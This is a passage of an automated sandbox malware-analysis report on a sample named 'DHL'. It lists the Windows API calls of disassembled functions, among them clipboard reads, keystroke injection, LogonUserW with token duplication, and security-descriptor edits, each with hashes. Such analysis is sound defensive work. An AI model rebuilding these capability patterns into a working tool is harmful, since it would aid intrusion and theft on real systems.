SendMessageW.USER32(?,0000110B,00000009,?), ref: 00A39B4A
GetCursorPos.USER32(?), ref: 00A39B68
ScreenToClient.USER32(?,?), ref: 00A39B75
GetParent.USER32(?), ref: 00A39B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00A39BFA
SendMessageW.USER32 ref: 00A39C2B
ClientToScreen.USER32(?,?), ref: 00A39C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00A39CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00A39CDE
SendMessageW.USER32 ref: 00A39D01
ClientToScreen.USER32(?,?), ref: 00A39D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00A39D82

Part of subcall function 009B9944: GetWindowLongW.USER32(?,000000EB), ref: 009B9952

GetWindowLongW.USER32(?,000000F0), ref: 00A39E05

Strings

@GUI_DRAGID, xrefs: 00A3997D
F, xrefs: 00A39D07

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F
API String ID: 3429851547-4164748364
Opcode ID: d2d37ba9311a4fb093caceb6143ae33c5b7b25a85f489261b6f6e0f77cf56856
Instruction ID: 6017aea652d371ffa779c876139ceabeecdbad322eb3509b7f202d356f0054a5
Opcode Fuzzy Hash: d2d37ba9311a4fb093caceb6143ae33c5b7b25a85f489261b6f6e0f77cf56856
Instruction Fuzzy Hash: 81428A35205201AFDB24CF68CC85FABBBE5FF89320F104619F699972A1D7B1E851CB51

Function 00A34873 Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 566windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000408,00000000,00000000), ref: 00A348F3
SendMessageW.USER32(00000000,00000188,00000000,00000000), ref: 00A34908
SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00A34927
SendMessageW.USER32(?,00000148,00000000,00000000), ref: 00A3494B
SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 00A3495C
SendMessageW.USER32(00000000,00000149,00000000,00000000), ref: 00A3497B
SendMessageW.USER32(00000000,0000130B,00000000,00000000), ref: 00A349AE
SendMessageW.USER32(00000000,0000133C,00000000,?), ref: 00A349D4
SendMessageW.USER32(00000000,0000110A,00000009,00000000), ref: 00A34A0F
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00A34A56
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00A34A7E
IsMenu.USER32(?), ref: 00A34A97
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00A34AF2
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00A34B20
GetWindowLongW.USER32(?,000000F0), ref: 00A34B94
SendMessageW.USER32(?,0000113E,00000000,00000008), ref: 00A34BE3
SendMessageW.USER32(00000000,00001001,00000000,?), ref: 00A34C82
wsprintfW.USER32 ref: 00A34CAE
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00A34CC9
GetWindowTextW.USER32(?,00000000,00000001), ref: 00A34CF1
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00A34D13
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00A34D33
GetWindowTextW.USER32(?,00000000,00000001), ref: 00A34D5A

Strings

%d/%02d/%02d, xrefs: 00A34CA8

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend$MenuWindow$InfoItemText$Longwsprintf
String ID: %d/%02d/%02d
API String ID: 4054740463-328681919
Opcode ID: 728307a82330893111cbeea64ee6d925cb4f356d253e37e0a2400b0f6edde39c
Instruction ID: bc6f1900b8b135f50d72b34a93ebb80a9a38d8a9e52bf8e20ff0232aa7416bf7
Opcode Fuzzy Hash: 728307a82330893111cbeea64ee6d925cb4f356d253e37e0a2400b0f6edde39c
Instruction Fuzzy Hash: 5C120471600214ABEB258F68CC4AFBE7BF8EF89750F144129F515EB2E1DB78A941CB50

Function 009BF98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 009BF998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 009FF474
IsIconic.USER32(00000000), ref: 009FF47D
ShowWindow.USER32(00000000,00000009), ref: 009FF48A
SetForegroundWindow.USER32(00000000), ref: 009FF494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 009FF4AA
GetCurrentThreadId.KERNEL32 ref: 009FF4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 009FF4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 009FF4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 009FF4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 009FF4DE
SetForegroundWindow.USER32(00000000), ref: 009FF4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 009FF4F6
keybd_event.USER32(00000012,00000000), ref: 009FF501
MapVirtualKeyW.USER32(00000012,00000000), ref: 009FF50B
keybd_event.USER32(00000012,00000000), ref: 009FF510
MapVirtualKeyW.USER32(00000012,00000000), ref: 009FF519
keybd_event.USER32(00000012,00000000), ref: 009FF51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 009FF528
keybd_event.USER32(00000012,00000000), ref: 009FF52D
SetForegroundWindow.USER32(00000000), ref: 009FF530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 009FF557

Strings

Shell_TrayWnd, xrefs: 009FF46F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 715f171c9f0e01bcd9159e0667e724a2b7bcd1bf5235a67e1ad92b85595f7a0f
Instruction ID: 8e87c363ccbf2ff0b70af1e24e013bc8f2bfcc6bd38e6434733723fd5f883d8c
Opcode Fuzzy Hash: 715f171c9f0e01bcd9159e0667e724a2b7bcd1bf5235a67e1ad92b85595f7a0f
Instruction Fuzzy Hash: C6311071A8021CBAEB21ABF55C4AFBF7E6DEB44B60F100465FA01F61D1D6B19901AB60

Function 00A01201 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00A016C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00A0170D
Part of subcall function 00A016C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00A0173A
Part of subcall function 00A016C3: GetLastError.KERNEL32 ref: 00A0174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00A01286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 00A012A8
CloseHandle.KERNEL32(?), ref: 00A012B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00A012D1
GetProcessWindowStation.USER32 ref: 00A012EA
SetProcessWindowStation.USER32(00000000), ref: 00A012F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00A01310

Part of subcall function 00A010BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00A011FC), ref: 00A010D4
Part of subcall function 00A010BF: CloseHandle.KERNEL32(?,?,00A011FC), ref: 00A010E9

Strings

winsta0, xrefs: 00A012CC
, xrefs: 00A0125A
default, xrefs: 00A0130B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0
API String ID: 22674027-1027155976
Opcode ID: 93774397ba5cef9b58ed7a09e4e1ac5efb0336de9059a3c52b6d55b27daba614
Instruction ID: 980b807f6eb624c148088fdd27ab1c17f48ec8eeddbfe629c4a5df0dc7a4a4da
Opcode Fuzzy Hash: 93774397ba5cef9b58ed7a09e4e1ac5efb0336de9059a3c52b6d55b27daba614
Instruction Fuzzy Hash: 4A8199B1A0020DABDF21DFA4EC49FEE7BB9EF08714F144129F911B61A0C7328A55CB21

Function 00A00B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A010F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00A01114
Part of subcall function 00A010F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00A00B9B,?,?,?), ref: 00A01120
Part of subcall function 00A010F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00A00B9B,?,?,?), ref: 00A0112F
Part of subcall function 00A010F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00A00B9B,?,?,?), ref: 00A01136
Part of subcall function 00A010F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00A0114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00A00BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00A00C00
GetLengthSid.ADVAPI32(?), ref: 00A00C17
GetAce.ADVAPI32(?,00000000,?), ref: 00A00C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00A00C6D
GetLengthSid.ADVAPI32(?), ref: 00A00C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00A00C8C
HeapAlloc.KERNEL32(00000000), ref: 00A00C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00A00CB4
CopySid.ADVAPI32(00000000), ref: 00A00CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00A00CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00A00D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00A00D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A00D45
HeapFree.KERNEL32(00000000), ref: 00A00D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A00D55
HeapFree.KERNEL32(00000000), ref: 00A00D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A00D65
HeapFree.KERNEL32(00000000), ref: 00A00D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00A00D78
HeapFree.KERNEL32(00000000), ref: 00A00D7F

Part of subcall function 00A01193: GetProcessHeap.KERNEL32(00000008,00A00BB1,?,00000000,?,00A00BB1,?), ref: 00A011A1
Part of subcall function 00A01193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00A00BB1,?), ref: 00A011A8
Part of subcall function 00A01193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00A00BB1,?), ref: 00A011B7

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 1d925093758b9ddb5f58626f7e6ef568ad0ef45f86e6874ee0f4c69bc2960716
Instruction ID: 33f88b2516134c74d147323dc941d0106624dd021d36967c7c983dd63f882382
Opcode Fuzzy Hash: 1d925093758b9ddb5f58626f7e6ef568ad0ef45f86e6874ee0f4c69bc2960716
Instruction Fuzzy Hash: 9471587290021AABDF10DFE4EC44FAEBBB8BF05310F044615F915B6291D771AA06CBB0

Function 00A1EAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00A3CC08), ref: 00A1EB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 00A1EB37
GetClipboardData.USER32(0000000D), ref: 00A1EB43
CloseClipboard.USER32 ref: 00A1EB4F
GlobalLock.KERNEL32(00000000), ref: 00A1EB87
CloseClipboard.USER32 ref: 00A1EB91
GlobalUnlock.KERNEL32(00000000), ref: 00A1EBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 00A1EBC9
GetClipboardData.USER32(00000001), ref: 00A1EBD1
GlobalLock.KERNEL32(00000000), ref: 00A1EBE2
GlobalUnlock.KERNEL32(00000000), ref: 00A1EC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 00A1EC38
GetClipboardData.USER32(0000000F), ref: 00A1EC44
GlobalLock.KERNEL32(00000000), ref: 00A1EC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 00A1EC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00A1EC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00A1ECD2
GlobalUnlock.KERNEL32(00000000), ref: 00A1ECF3
CountClipboardFormats.USER32 ref: 00A1ED14
CloseClipboard.USER32 ref: 00A1ED59

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: 530f67fe15ceeac999ddb0d672196be568944e08a2f0f36d2a2a739f0d03f5b2
Instruction ID: 5f9a1f9971171e54323d2c4fb2aef9381ba82d39ff61bf8e958a143b94bc7e28
Opcode Fuzzy Hash: 530f67fe15ceeac999ddb0d672196be568944e08a2f0f36d2a2a739f0d03f5b2
Instruction Fuzzy Hash: B561C0352083019FD300EF64DC89FAAB7E8AF85754F18951DF856972A1CB31DD86CBA2

Function 00A1698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00A169BE
FindClose.KERNEL32(00000000), ref: 00A16A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00A16A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00A16A75

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00A16AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00A16ADF

Strings

%02d, xrefs: 00A16C00, 00A16C0A, 00A16C5A, 00A16CAA, 00A16CFA, 00A16D4A
%4d%02d%02d%02d%02d%02d, xrefs: 00A16B6A
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00A16B32
%4d, xrefs: 00A16BB1
%03d, xrefs: 00A16DA2

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: d7ffba07d5afe1dc58a114558426b82282ae7f694bf23fc8c42743b4d011f660
Instruction ID: dcc77289195037cc2046ce782ae1840d9c2ec6a6cd02ce8c60ac0ab602a38fa7
Opcode Fuzzy Hash: d7ffba07d5afe1dc58a114558426b82282ae7f694bf23fc8c42743b4d011f660
Instruction Fuzzy Hash: C4D13E72508310AEC710EBA4CD96EABB7FCBF89704F04491DF589D6191EB74DA44CBA2

Function 00A19642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75568FB0,?,00000000), ref: 00A19663
GetFileAttributesW.KERNEL32(?), ref: 00A196A1
SetFileAttributesW.KERNEL32(?,?), ref: 00A196BB
FindNextFileW.KERNEL32(00000000,?), ref: 00A196D3
FindClose.KERNEL32(00000000), ref: 00A196DE
FindFirstFileW.KERNEL32(*.*,?), ref: 00A196FA
SetCurrentDirectoryW.KERNEL32(?), ref: 00A1974A
SetCurrentDirectoryW.KERNEL32(00A66B7C), ref: 00A19768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00A19772
FindClose.KERNEL32(00000000), ref: 00A1977F
FindClose.KERNEL32(00000000), ref: 00A1978F

Strings

*.*, xrefs: 00A196F5

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 3c828353bb052e39b3620d0a40cacb75c166c3b869ad8b60833fe4c643c0c4aa
Instruction ID: 6148ee9596e5b5f072045abd6d39df5d9415ca184d4b8c001185aa6a7abdf2fa
Opcode Fuzzy Hash: 3c828353bb052e39b3620d0a40cacb75c166c3b869ad8b60833fe4c643c0c4aa
Instruction Fuzzy Hash: 2931AD32940619BADB14EFF4DC59ADF77ACAF49320F104566F815E20A0EB30DA85CB24

Function 00A1979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75568FB0,?,00000000), ref: 00A197BE
FindNextFileW.KERNEL32(00000000,?), ref: 00A19819
FindClose.KERNEL32(00000000), ref: 00A19824
FindFirstFileW.KERNEL32(*.*,?), ref: 00A19840
SetCurrentDirectoryW.KERNEL32(?), ref: 00A19890
SetCurrentDirectoryW.KERNEL32(00A66B7C), ref: 00A198AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00A198B8
FindClose.KERNEL32(00000000), ref: 00A198C5
FindClose.KERNEL32(00000000), ref: 00A198D5

Part of subcall function 00A0DAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00A0DB00

Strings

*.*, xrefs: 00A1983B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: 819c64bfe0002ba79c25277244b6ffa95d1ae394d8fce6fb28411bc8531d5902
Instruction ID: be7672a177ebadaa7bad50d6b5aadd41fe330674a7417bcbba4e2fdc9d9c788d
Opcode Fuzzy Hash: 819c64bfe0002ba79c25277244b6ffa95d1ae394d8fce6fb28411bc8531d5902
Instruction Fuzzy Hash: 06319E32540619BEDB10EFE4EC59ADF77ACAF4A370F144566F814A21A0EB30DA85CB60

Function 00A18195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00A18257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00A18267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00A18273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00A18310
SetCurrentDirectoryW.KERNEL32(?), ref: 00A18324
SetCurrentDirectoryW.KERNEL32(?), ref: 00A18356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00A1838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00A18395

Strings

*.*, xrefs: 00A1839B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 1147deee973fe15c46ecac4ee59d427f62a08a71656a0cb09a3f34b687e78688
Instruction ID: cea09196cea986b0a5ff0bd12e905f040213c9165b1ee5103dc31e58e686960a
Opcode Fuzzy Hash: 1147deee973fe15c46ecac4ee59d427f62a08a71656a0cb09a3f34b687e78688
Instruction Fuzzy Hash: 216169B25043459FCB10EF64C844AEEB3E8FF89310F04891EF99997251EB35E945CB92

Function 00A0D076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009A3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009A3A97,?,?,009A2E7F,?,?,?,00000000), ref: 009A3AC2

Part of subcall function 00A0E199: GetFileAttributesW.KERNEL32(?,00A0CF95), ref: 00A0E19A

FindFirstFileW.KERNEL32(?,?), ref: 00A0D122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 00A0D1DD
MoveFileW.KERNEL32(?,?), ref: 00A0D1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 00A0D20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 00A0D237

Part of subcall function 00A0D29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00A0D21C,?,?), ref: 00A0D2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 00A0D253
FindClose.KERNEL32(00000000), ref: 00A0D264

Strings

\*.*, xrefs: 00A0D0CD, 00A0D0D6, 00A0D0EB

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: 3f22709a127375d2fb12353b0af2bf24a718f2106e6072a5b2e004d03474f5dc
Instruction ID: 0b9424f6a0a987deb7323d9940a6c6453da46b34efd2bca0431ff66cb2f04431
Opcode Fuzzy Hash: 3f22709a127375d2fb12353b0af2bf24a718f2106e6072a5b2e004d03474f5dc
Instruction Fuzzy Hash: 77613C3280511DAFCF05EBE0EE52AEEB775AF95340F248169E40277191EB356F09DBA0

Function 00A1ED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00A1ED91
EmptyClipboard.USER32 ref: 00A1ED97
GlobalAlloc.KERNEL32(00000002,?), ref: 00A1EDAC
CloseClipboard.USER32 ref: 00A1EEA3

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 468a676c5430f54f896d110afa3d28befd1029eca9d0af34e9e5839c81cae059
